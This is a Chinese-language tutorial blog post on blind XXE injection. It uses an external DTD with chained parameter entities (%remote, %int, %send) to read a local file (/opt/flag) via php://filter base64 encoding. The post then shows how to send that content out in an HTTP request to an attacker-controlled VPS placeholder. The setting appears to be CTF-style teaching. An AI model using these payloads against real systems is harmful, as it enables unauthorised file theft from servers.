xxe漏洞系列——利用外带参数实体注入无回显xxe漏洞

本文讲解的是 Blind XXE(盲注型 XML 外部实体注入) 的利用原理,核心是通过外部 DTD 结合参数实体的链式调用,在目标程序无回显时,可以把要读取的文件内容 “外带” 到攻击者的服务器上。

在这之前我们必须要了解xml语言的DTD的知识,DTD菜鸟教程

首先在目标执行:

<!DOCTYPE convert[
<!ENTITY %remote SYSTEM "http://你的vpsIP/a.dtd">
%remote;%int;%send;
]>

然后在自己服务器部署文件并用python开启http服务托管a.dtd文件

文件内容:

<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag">
<!ENTITY %int "<!ENTITY &#x25; send SYSTEM 'http://vpsip/?a=%file;'>

实现流程步骤解析:

1、引入外部DTD(%remote)

<!ENTITY % remote SYSTEM "http://.../test.dtd">:定义参数实体 %remote,指向我们所能控制的攻击服务器的DTD文件,然后依次调用%remote;%int;%send参数实体

2、解析外部DTD(a.dtd)

第一个实体:%file

  • <!ENTITY % file SYSTEM "php://filter/.../resource=/opt/flag">:定义参数实体 %file,作用是读取目标服务器的本地文件(这里是 /opt/flag)。

  • php://filter 是 PHP 的特殊协议,用于 “过滤 / 转换” 数据流;convert.base64-encode 是把文件内容Base64 编码(避免内容中有特殊字符导致解析错误)。
  • 第二个实体:%int
    • <!ENTITY % int "... &#x25; send ...">:定义参数实体 %int,其内容是另一个实体声明<!ENTITY % send SYSTEM "http://.../?p=%file;">
    • &#x25; 是 **% 的 HTML 实体编码 **(因为 XML 中直接写 %send 会被解析为参数实体,这里用编码绕过,确保最终生成 %send 实体)。

%send 实体的作用是:发起一个 HTTP 请求到攻击者服务器,并把 %file(即读取到的 Base64 编码后的文件内容)作为参数 p 的值,“外带” 出去。

总的来说就是目标会先调用remote实体去访问我们准备好的dtd文件,然后调用int会生成send实体然后再调用send,向攻击服务器发起http请求并携带参数a,然后这个a是会去访问目标本地的opt/flag文件内容,此时我们就通过http请求外带参数把这个文件内容带出来了,后面我们就只需要base64解码即可查看文件内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值